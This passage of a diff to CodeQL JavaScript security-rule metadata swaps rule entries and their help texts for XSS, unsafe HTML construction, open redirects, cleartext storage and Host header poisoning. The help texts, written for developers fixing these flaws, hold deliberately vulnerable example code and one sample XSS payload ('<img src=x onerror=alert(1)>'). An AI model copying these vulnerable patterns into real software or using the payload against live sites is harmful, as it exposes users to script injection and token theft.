Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n",
+            "markdown" : "# Unsafe HTML constructed from library input\nWhen a library function dynamically constructs HTML in a potentially unsafe way, then it's important to document to clients of the library that the function should only be used with trusted inputs. If the function is not documented as being potentially unsafe, then a client may inadvertently use inputs containing unsafe HTML fragments, and thereby leave the client vulnerable to cross-site scripting attacks.\n\n\n## Recommendation\nDocument all library functions that can lead to cross-site scripting attacks, and guard against unsafe inputs where dynamic HTML construction is not intended.\n\n\n## Example\nThe following example has a library function that renders a boldface name by writing to the `innerHTML` property of an element.\n\n\n```javascript\nmodule.exports = function showBoldName(name) {\n  document.getElementById('name').innerHTML = \"<b>\" + name + \"</b>\";\n}\n\n```\nThis library function, however, does not escape unsafe HTML, and a client that calls the function with user-supplied input may be vulnerable to cross-site scripting attacks.\n\nThe library could either document that this function should not be used with unsafe inputs, or use safe APIs such as `innerText`.\n\n\n```javascript\nmodule.exports = function showBoldName(name) {\n  const bold = document.createElement('b');\n  bold.innerText = name;\n  document.getElementById('name').appendChild(bold);\n}\n\n```\nAlternatively, an HTML sanitizer can be used to remove unsafe content.\n\n\n```javascript\n\nconst striptags = require('striptags');\nmodule.exports = function showBoldName(name) {\n  document.getElementById('name').innerHTML = \"<b>\" + striptags(name) + \"</b>\";\n}\n\n```\n\n## References\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet).\n* OWASP [DOM Based XSS](https://www.owasp.org/index.php/DOM_Based_XSS).\n* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-611", "external/cwe/cwe-827" ],
-            "description" : "Parsing user input as an XML document with external\n              entity expansion is vulnerable to XXE attacks.",
-            "id" : "js/xxe",
+            "tags" : [ "security", "external/cwe/cwe-079", "external/cwe/cwe-116" ],
+            "description" : "Using externally controlled strings to construct HTML might allow a malicious\n              user to perform a cross-site scripting attack.",
+            "id" : "js/html-constructed-from-input",
             "kind" : "path-problem",
-            "name" : "XML external entity expansion",
+            "name" : "Unsafe HTML constructed from library input",
             "precision" : "high",
             "problem.severity" : "error",
-            "security-severity" : "9.1"
+            "security-severity" : "6.1"
           }
         }, {
-          "id" : "js/client-side-unvalidated-url-redirection",
-          "name" : "js/client-side-unvalidated-url-redirection",
+          "id" : "js/xss",
+          "name" : "js/xss",
           "shortDescription" : {
-            "text" : "Client-side URL redirect"
+            "text" : "Client-side cross-site scripting"
           },
           "fullDescription" : {
-            "text" : "Client-side URL redirection based on unvalidated user input may cause redirection to malicious web sites."
+            "text" : "Writing user input directly to the DOM allows for a cross-site scripting vulnerability."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "error"
           },
           "help" : {
-            "text" : "# Client-side URL redirect\nRedirecting to a URL that is constructed from parts of the DOM that may be controlled by an attacker can facilitate phishing attacks. In these attacks, unsuspecting users can be redirected to a malicious site that looks very similar to the real site they intend to visit, but which is controlled by the attacker.\n\n\n## Recommendation\nTo guard against untrusted URL redirection, it is advisable to avoid putting user input directly into a redirect URL. Instead, maintain a list of authorized redirects on the server; then choose from that list based on the user input provided.\n\n\n## Example\nThe following example uses a regular expression to extract a query parameter from the document URL, and then uses it to construct a new URL to redirect to without any further validation. This may allow an attacker to craft a link that redirects from a trusted website to some arbitrary website of their choosing, which facilitates phishing attacks:\n\n\n```javascript\nwindow.location = /.*redirect=([^&]*).*/.exec(document.location.href)[1];\n\n```\n\n## References\n* OWASP: [ XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html).\n",
-            "markdown" : "# Client-side URL redirect\nRedirecting to a URL that is constructed from parts of the DOM that may be controlled by an attacker can facilitate phishing attacks. In these attacks, unsuspecting users can be redirected to a malicious site that looks very similar to the real site they intend to visit, but which is controlled by the attacker.\n\n\n## Recommendation\nTo guard against untrusted URL redirection, it is advisable to avoid putting user input directly into a redirect URL. Instead, maintain a list of authorized redirects on the server; then choose from that list based on the user input provided.\n\n\n## Example\nThe following example uses a regular expression to extract a query parameter from the document URL, and then uses it to construct a new URL to redirect to without any further validation. This may allow an attacker to craft a link that redirects from a trusted website to some arbitrary website of their choosing, which facilitates phishing attacks:\n\n\n```javascript\nwindow.location = /.*redirect=([^&]*).*/.exec(document.location.href)[1];\n\n```\n\n## References\n* OWASP: [ XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html).\n"
+            "text" : "# Client-side cross-site scripting\nDirectly writing user input (for example, a URL query parameter) to a webpage without properly sanitizing the input first, allows for a cross-site scripting vulnerability.\n\nThis kind of vulnerability is also called *DOM-based* cross-site scripting, to distinguish it from other types of cross-site scripting.\n\n\n## Recommendation\nTo guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the page, or one of the other solutions that are mentioned in the references.\n\n\n## Example\nThe following example shows part of the page URL being written directly to the document, leaving the website vulnerable to cross-site scripting.\n\n\n```javascript\nfunction setLanguageOptions() {\n    var href = document.location.href,\n        deflt = href.substring(href.indexOf(\"default=\")+8);\n    document.write(\"<OPTION value=1>\"+deflt+\"</OPTION>\");\n    document.write(\"<OPTION value=2>English</OPTION>\");\n}\n\n```\n\n## References\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [DOM Based XSS](https://www.owasp.org/index.php/DOM_Based_XSS).\n* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n",
+            "markdown" : "# Client-side cross-site scripting\nDirectly writing user input (for example, a URL query parameter) to a webpage without properly sanitizing the input first, allows for a cross-site scripting vulnerability.\n\nThis kind of vulnerability is also called *DOM-based* cross-site scripting, to distinguish it from other types of cross-site scripting.\n\n\n## Recommendation\nTo guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the page, or one of the other solutions that are mentioned in the references.\n\n\n## Example\nThe following example shows part of the page URL being written directly to the document, leaving the website vulnerable to cross-site scripting.\n\n\n```javascript\nfunction setLanguageOptions() {\n    var href = document.location.href,\n        deflt = href.substring(href.indexOf(\"default=\")+8);\n    document.write(\"<OPTION value=1>\"+deflt+\"</OPTION>\");\n    document.write(\"<OPTION value=2>English</OPTION>\");\n}\n\n```\n\n## References\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [DOM Based XSS](https://www.owasp.org/index.php/DOM_Based_XSS).\n* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-079", "external/cwe/cwe-116", "external/cwe/cwe-601" ],
-            "description" : "Client-side URL redirection based on unvalidated user input\n              may cause redirection to malicious web sites.",
-            "id" : "js/client-side-unvalidated-url-redirection",
+            "tags" : [ "security", "external/cwe/cwe-079", "external/cwe/cwe-116" ],
+            "description" : "Writing user input directly to the DOM allows for\n              a cross-site scripting vulnerability.",
+            "id" : "js/xss",
             "kind" : "path-problem",
-            "name" : "Client-side URL redirect",
+            "name" : "Client-side cross-site scripting",
             "precision" : "high",
             "problem.severity" : "error",
-            "security-severity" : "6.1"
+            "security-severity" : "7.8"
           }
         }, {
-          "id" : "js/server-side-unvalidated-url-redirection",
-          "name" : "js/server-side-unvalidated-url-redirection",
+          "id" : "js/xss-through-exception",
+          "name" : "js/xss-through-exception",
           "shortDescription" : {
-            "text" : "Server-side URL redirect"
+            "text" : "Exception text reinterpreted as HTML"
           },
           "fullDescription" : {
-            "text" : "Server-side URL redirection based on unvalidated user input may cause redirection to malicious web sites."
+            "text" : "Reinterpreting text from an exception as HTML can lead to a cross-site scripting vulnerability."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "warning"
           },
           "help" : {
-            "text" : "# Server-side URL redirect\nDirectly incorporating user input into a URL redirect request without validating the input can facilitate phishing attacks. In these attacks, unsuspecting users can be redirected to a malicious site that looks very similar to the real site they intend to visit, but which is controlled by the attacker.\n\n\n## Recommendation\nTo guard against untrusted URL redirection, it is advisable to avoid putting user input directly into a redirect URL. Instead, maintain a list of authorized redirects on the server; then choose from that list based on the user input provided.\n\nIf this is not possible, then the user input should be validated in some other way, for example, by verifying that the target URL is on the same host as the current page.\n\n\n## Example\nThe following example shows an HTTP request parameter being used directly in a URL redirect without validating the input, which facilitates phishing attacks:\n\n\n```javascript\nconst app = require(\"express\")();\n\napp.get(\"/redirect\", function (req, res) {\n  // BAD: a request parameter is incorporated without validation into a URL redirect\n  res.redirect(req.query[\"target\"]);\n});\n\n```\nOne way to remedy the problem is to validate the user input against a known fixed string before doing the redirection:\n\n\n```javascript\nconst app = require(\"express\")();\n\nconst VALID_REDIRECT = \"http://cwe.mitre.org/data/definitions/601.html\";\n\napp.get(\"/redirect\", function (req, res) {\n  // GOOD: the request parameter is validated against a known fixed string\n  let target = req.query[\"target\"];\n  if (VALID_REDIRECT === target) {\n    res.redirect(target);\n  } else {\n    res.redirect(\"/\");\n  }\n});\n\n```\nAlternatively, we can check that the target URL does not redirect to a different host by parsing it relative to a base URL with a known host and verifying that the host stays the same:\n\n\n```javascript\nconst app = require(\"express\")();\n\nfunction isLocalUrl(path) {\n  try {\n    return (\n      // TODO: consider substituting your own domain for example.com\n      new URL(path, \"https://example.com\").origin === \"https://example.com\"\n    );\n  } catch (e) {\n    return false;\n  }\n}\n\napp.get(\"/redirect\", function (req, res) {\n  // GOOD: check that we don't redirect to a different host\n  let target = req.query[\"target\"];\n  if (isLocalUrl(target)) {\n    res.redirect(target);\n  } else {\n    res.redirect(\"/\");\n  }\n});\n\n```\nNote that as written, the above code will allow redirects to URLs on `example.com`, which is harmless but perhaps not intended. You can substitute your own domain (if known) for `example.com` to prevent this.\n\n\n## References\n* OWASP: [ XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html).\n",
-            "markdown" : "# Server-side URL redirect\nDirectly incorporating user input into a URL redirect request without validating the input can facilitate phishing attacks. In these attacks, unsuspecting users can be redirected to a malicious site that looks very similar to the real site they intend to visit, but which is controlled by the attacker.\n\n\n## Recommendation\nTo guard against untrusted URL redirection, it is advisable to avoid putting user input directly into a redirect URL. Instead, maintain a list of authorized redirects on the server; then choose from that list based on the user input provided.\n\nIf this is not possible, then the user input should be validated in some other way, for example, by verifying that the target URL is on the same host as the current page.\n\n\n## Example\nThe following example shows an HTTP request parameter being used directly in a URL redirect without validating the input, which facilitates phishing attacks:\n\n\n```javascript\nconst app = require(\"express\")();\n\napp.get(\"/redirect\", function (req, res) {\n  // BAD: a request parameter is incorporated without validation into a URL redirect\n  res.redirect(req.query[\"target\"]);\n});\n\n```\nOne way to remedy the problem is to validate the user input against a known fixed string before doing the redirection:\n\n\n```javascript\nconst app = require(\"express\")();\n\nconst VALID_REDIRECT = \"http://cwe.mitre.org/data/definitions/601.html\";\n\napp.get(\"/redirect\", function (req, res) {\n  // GOOD: the request parameter is validated against a known fixed string\n  let target = req.query[\"target\"];\n  if (VALID_REDIRECT === target) {\n    res.redirect(target);\n  } else {\n    res.redirect(\"/\");\n  }\n});\n\n```\nAlternatively, we can check that the target URL does not redirect to a different host by parsing it relative to a base URL with a known host and verifying that the host stays the same:\n\n\n```javascript\nconst app = require(\"express\")();\n\nfunction isLocalUrl(path) {\n  try {\n    return (\n      // TODO: consider substituting your own domain for example.com\n      new URL(path, \"https://example.com\").origin === \"https://example.com\"\n    );\n  } catch (e) {\n    return false;\n  }\n}\n\napp.get(\"/redirect\", function (req, res) {\n  // GOOD: check that we don't redirect to a different host\n  let target = req.query[\"target\"];\n  if (isLocalUrl(target)) {\n    res.redirect(target);\n  } else {\n    res.redirect(\"/\");\n  }\n});\n\n```\nNote that as written, the above code will allow redirects to URLs on `example.com`, which is harmless but perhaps not intended. You can substitute your own domain (if known) for `example.com` to prevent this.\n\n\n## References\n* OWASP: [ XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html).\n"
+            "text" : "# Exception text reinterpreted as HTML\nDirectly writing error messages to a webpage without sanitization allows for a cross-site scripting vulnerability if parts of the error message can be influenced by a user.\n\n\n## Recommendation\nTo guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the page, or one of the other solutions that are mentioned in the references.\n\n\n## Example\nThe following example shows an exception being written directly to the document, and this exception can potentially be influenced by the page URL, leaving the website vulnerable to cross-site scripting.\n\n\n```javascript\nfunction setLanguageOptions() {\n    var href = document.location.href,\n        deflt = href.substring(href.indexOf(\"default=\")+8);\n    \n    try {\n        var parsed = unknownParseFunction(deflt); \n    } catch(e) {\n        document.write(\"Had an error: \" + e + \".\");\n    }\n}\n\n```\n\n## Example\nThis second example shows an input being validated using the JSON schema validator `ajv`, and in case of an error, the error message is sent directly back in the response.\n\n\n```javascript\nimport express from 'express';\nimport Ajv from 'ajv';\n\nlet app = express();\nlet ajv = new Ajv();\n\najv.addSchema({type: 'object', additionalProperties: {type: 'number'}}, 'pollData');\n\napp.post('/polldata', (req, res) => {\n    if (!ajv.validate('pollData', req.body)) {\n        res.send(ajv.errorsText());\n    }\n});\n\n```\nThis is unsafe, because the error message can contain parts of the input. For example, the input `{'<img src=x onerror=alert(1)>': 'foo'}` will generate the error `data/<img src=x onerror=alert(1)> should be number`, causing reflected XSS.\n\n\n## References\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [DOM Based XSS](https://www.owasp.org/index.php/DOM_Based_XSS).\n* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n",
+            "markdown" : "# Exception text reinterpreted as HTML\nDirectly writing error messages to a webpage without sanitization allows for a cross-site scripting vulnerability if parts of the error message can be influenced by a user.\n\n\n## Recommendation\nTo guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the page, or one of the other solutions that are mentioned in the references.\n\n\n## Example\nThe following example shows an exception being written directly to the document, and this exception can potentially be influenced by the page URL, leaving the website vulnerable to cross-site scripting.\n\n\n```javascript\nfunction setLanguageOptions() {\n    var href = document.location.href,\n        deflt = href.substring(href.indexOf(\"default=\")+8);\n    \n    try {\n        var parsed = unknownParseFunction(deflt); \n    } catch(e) {\n        document.write(\"Had an error: \" + e + \".\");\n    }\n}\n\n```\n\n## Example\nThis second example shows an input being validated using the JSON schema validator `ajv`, and in case of an error, the error message is sent directly back in the response.\n\n\n```javascript\nimport express from 'express';\nimport Ajv from 'ajv';\n\nlet app = express();\nlet ajv = new Ajv();\n\najv.addSchema({type: 'object', additionalProperties: {type: 'number'}}, 'pollData');\n\napp.post('/polldata', (req, res) => {\n    if (!ajv.validate('pollData', req.body)) {\n        res.send(ajv.errorsText());\n    }\n});\n\n```\nThis is unsafe, because the error message can contain parts of the input. For example, the input `{'<img src=x onerror=alert(1)>': 'foo'}` will generate the error `data/<img src=x onerror=alert(1)> should be number`, causing reflected XSS.\n\n\n## References\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [DOM Based XSS](https://www.owasp.org/index.php/DOM_Based_XSS).\n* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-601" ],
-            "description" : "Server-side URL redirection based on unvalidated user input\n              may cause redirection to malicious web sites.",
-            "id" : "js/server-side-unvalidated-url-redirection",
+            "tags" : [ "security", "external/cwe/cwe-079", "external/cwe/cwe-116" ],
+            "description" : "Reinterpreting text from an exception as HTML\n              can lead to a cross-site scripting vulnerability.",
+            "id" : "js/xss-through-exception",
             "kind" : "path-problem",
-            "name" : "Server-side URL redirect",
+            "name" : "Exception text reinterpreted as HTML",
             "precision" : "high",
             "problem.severity" : "warning",
             "security-severity" : "6.1"
           }
         }, {
-          "id" : "js/clear-text-storage-of-sensitive-data",
-          "name" : "js/clear-text-storage-of-sensitive-data",
+          "id" : "js/host-header-forgery-in-email-generation",
+          "name" : "js/host-header-forgery-in-email-generation",
           "shortDescription" : {
-            "text" : "Clear text storage of sensitive information"
+            "text" : "Host header poisoning in email generation"
           },
           "fullDescription" : {
-            "text" : "Sensitive information stored without encryption or hashing can expose it to an attacker."
+            "text" : "Using the HTTP Host header to construct a link in an email can facilitate phishing attacks and leak password reset tokens."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "error"
           },
           "help" : {
-            "text" : "# Clear text storage of sensitive information\nSensitive information that is stored unencrypted is accessible to an attacker who gains access to the storage. This is particularly important for cookies, which are stored on the machine of the end-user.\n\n\n## Recommendation\nEnsure that sensitive information is always encrypted before being stored. If possible, avoid placing sensitive information in cookies altogether. Instead, prefer storing, in the cookie, a key that can be used to look up the sensitive information.\n\nIn general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext.\n\nBe aware that external processes often store the `standard out` and `standard error` streams of the application, causing logged sensitive information to be stored as well.\n\n\n## Example\nThe following example code stores user credentials (in this case, their password) in a cookie in plain text:\n\n\n```javascript\nvar express = require('express');\n\nvar app = express();\napp.get('/remember-password', function (req, res) {\n  let pw = req.param(\"current_password\");\n  // BAD: Setting a cookie value with cleartext sensitive data.\n  res.cookie(\"password\", pw);\n});\n\n```\nInstead, the credentials should be encrypted, for instance by using the Node.js `crypto` module:\n\n\n```javascript\nvar express = require('express');\nvar crypto = require('crypto'),\n    password = getPassword();\n\nfunction encrypt(text){\n  var cipher = crypto.createCipher('aes-256-ctr', password);\n  return cipher.update(text, 'utf8', 'hex') + cipher.final('hex');\n}\n\nvar app = express();\napp.get('/remember-password', function (req, res) {\n  let pw = req.param(\"current_password\");\n  // GOOD: Encoding the value before setting it.\n  res.cookie(\"password\", encrypt(pw));\n});\n\n```\n\n## References\n* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006.\n* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002.\n* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html).\n* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html).\n* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html).\n",
-            "markdown" : "# Clear text storage of sensitive information\nSensitive information that is stored unencrypted is accessible to an attacker who gains access to the storage. This is particularly important for cookies, which are stored on the machine of the end-user.\n\n\n## Recommendation\nEnsure that sensitive information is always encrypted before being stored. If possible, avoid placing sensitive information in cookies altogether. Instead, prefer storing, in the cookie, a key that can be used to look up the sensitive information.\n\nIn general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext.\n\nBe aware that external processes often store the `standard out` and `standard error` streams of the application, causing logged sensitive information to be stored as well.\n\n\n## Example\nThe following example code stores user credentials (in this case, their password) in a cookie in plain text:\n\n\n```javascript\nvar express = require('express');\n\nvar app = express();\napp.get('/remember-password', function (req, res) {\n  let pw = req.param(\"current_password\");\n  // BAD: Setting a cookie value with cleartext sensitive data.\n  res.cookie(\"password\", pw);\n});\n\n```\nInstead, the credentials should be encrypted, for instance by using the Node.js `crypto` module:\n\n\n```javascript\nvar express = require('express');\nvar crypto = require('crypto'),\n    password = getPassword();\n\nfunction encrypt(text){\n  var cipher = crypto.createCipher('aes-256-ctr', password);\n  return cipher.update(text, 'utf8', 'hex') + cipher.final('hex');\n}\n\nvar app = express();\napp.get('/remember-password', function (req, res) {\n  let pw = req.param(\"current_password\");\n  // GOOD: Encoding the value before setting it.\n  res.cookie(\"password\", encrypt(pw));\n});\n\n```\n\n## References\n* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006.\n* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002.\n* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html).\n* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html).\n* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html).\n"
+            "text" : "# Host header poisoning in email generation\nUsing the HTTP Host header to construct a link in an email can facilitate phishing attacks and leak password reset tokens. A malicious user can send an HTTP request to the targeted web site, but with a Host header that refers to his own web site. This means the emails will be sent out to potential victims, originating from a server they trust, but with links leading to a malicious web site.\n\nIf the email contains a password reset link, and should the victim click the link, the secret reset token will be leaked to the attacker. Using the leaked token, the attacker can then construct the real reset link and use it to change the victim's password.\n\n\n## Recommendation\nObtain the server's host name from a configuration file and avoid relying on the Host header.\n\n\n## Example\nThe following example uses the `req.host` to generate a password reset link. This value is derived from the Host header, and can thus be set to anything by an attacker:\n\n\n```javascript\nlet nodemailer = require('nodemailer');\nlet express = require('express');\nlet backend = require('./backend');\n\nlet app = express();\n\nlet config = JSON.parse(fs.readFileSync('config.json', 'utf8'));\n\napp.post('/resetpass', (req, res) => {\n  let email = req.query.email;\n  let transport = nodemailer.createTransport(config.smtp);\n  let token = backend.getUserSecretResetToken(email);\n  transport.sendMail({\n    from: 'webmaster@example.com',\n    to: email,\n    subject: 'Forgot password',\n    text: `Click to reset password: https://${req.host}/resettoken/${token}`,\n  });\n});\n\n```\nTo ensure the link refers to the correct web site, get the host name from a configuration file:\n\n\n```javascript\nlet nodemailer = require('nodemailer');\nlet express = require('express');\nlet backend = require('./backend');\n\nlet app = express();\n\nlet config = JSON.parse(fs.readFileSync('config.json', 'utf8'));\n\napp.post('/resetpass', (req, res) => {\n  let email = req.query.email;\n  let transport = nodemailer.createTransport(config.smtp);\n  let token = backend.getUserSecretResetToken(email);\n  transport.sendMail({\n    from: 'webmaster@example.com',\n    to: email,\n    subject: 'Forgot password',\n    text: `Click to reset password: https://${config.hostname}/resettoken/${token}`,\n  });\n});\n\n```\n\n## References\n* Mitre: [CWE-640: Weak Password Recovery Mechanism for Forgotten Password](https://cwe.mitre.org/data/definitions/640.html).\n* Ian Muscat: [What is a Host Header Attack?](https://www.acunetix.com/blog/articles/automated-detection-of-host-header-attacks/).\n* Common Weakness Enumeration: [CWE-640](https://cwe.mitre.org/data/definitions/640.html).\n",
+            "markdown" : "# Host header poisoning in email generation\nUsing the HTTP Host header to construct a link in an email can facilitate phishing attacks and leak password reset tokens. A malicious user can send an HTTP request to the targeted web site, but with a Host header that refers to his own web site. This means the emails will be sent out to potential victims, originating from a server they trust, but with links leading to a malicious web site.\n\nIf the email contains a password reset link, and should the victim click the link, the secret reset token will be leaked to the attacker. Using the leaked token, the attacker can then construct the real reset link and use it to change the victim's password.\n\n\n## Recommendation\nObtain the server's host name from a configuration file and avoid relying on the Host header.\n\n\n## Example\nThe following example uses the `req.host` to generate a password reset link. This value is derived from the Host header, and can thus be set to anything by an attacker:\n\n\n```javascript\nlet nodemailer = require('nodemailer');\nlet express = require('express');\nlet backend = require('./backend');\n\nlet app = express();\n\nlet config = JSON.parse(fs.readFileSync('config.json', 'utf8'));\n\napp.post('/resetpass', (req, res) => {\n  let email = req.query.email;\n  let transport = nodemailer.createTransport(config.smtp);\n  let token = backend.getUserSecretResetToken(email);\n  transport.sendMail({\n    from: 'webmaster@example.com',\n    to: email,\n    subject: 'Forgot password',\n    text: `Click to reset password: https://${req.host}/resettoken/${token}`,\n  });\n});\n\n```\nTo ensure the link refers to the correct web site, get the host name from a configuration file:\n\n\n```javascript\nlet nodemailer = require('nodemailer');\nlet express = require('express');\nlet backend = require('./backend');\n\nlet app = express();\n\nlet config = JSON.parse(fs.readFileSync('config.json', 'utf8'));\n\napp.post('/resetpass', (req, res) => {\n  let email = req.query.email;\n  let transport = nodemailer.createTransport(config.smtp);\n  let token = backend.getUserSecretResetToken(email);\n  transport.sendMail({\n    from: 'webmaster@example.com',\n    to: email,\n    subject: 'Forgot password',\n    text: `Click to reset password: https://${config.hostname}/resettoken/${token}`,\n  });\n});\n\n```\n\n## References\n* Mitre: [CWE-640: Weak Password Recovery Mechanism for Forgotten Password](https://cwe.mitre.org/data/definitions/640.html).\n* Ian Muscat: [What is a Host Header Attack?](https://www.acunetix.com/blog/articles/automated-detection-of-host-header-attacks/).\n* Common Weakness Enumeration: [CWE-640](https://cwe.mitre.org/data/definitions/640.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-312", "external/cwe/cwe-315", "external/cwe/cwe-359" ],
-            "description" : "Sensitive information stored without encryption or hashing can expose it to an\n              attacker.",
-            "id" : "js/clear-text-storage-of-sensitive-data",
+            "tags" : [ "security", "external/cwe/cwe-640" ],
+            "description" : "Using the HTTP Host header to construct a link in an email can facilitate phishing\n              attacks and leak password reset tokens.",
+            "id" : "js/host-header-forgery-in-email-generation",
             "kind" : "path-problem",
-            "name" : "Clear text storage of sensitive information",
+            "name" : "Host header poisoning in email generation",
             "precision" : "high",
             "problem.severity" : "error",
-            "security-severity" : "7.5"
+            "security-severity" : "9.8"
           }
         }, {
-          "id" : "js/clear-text-logging",
-          "name" : "js/clear-text-logging",
+          "id" : "js/case-sensitive-middleware-path",
+          "name" : "js/case-sensitive-middleware-path",
           "shortDescription" : {
-            "text" : "Clear-text logging of sensitive information"
+            "text" : "Case-sensitive middleware path"
           },
           "fullDescription" : {
-            "text" : "Logging sensitive information without encryption or hashing can expose it to an attacker."
+            "text" : "Middleware with case-sensitive paths do not protect endpoints with case-insensitive paths."
           },
           "defaultConfiguration" : {
             "enabled" : true,
-            "level" : "error"
+            "level" : "warning"
           },
           "help" : {
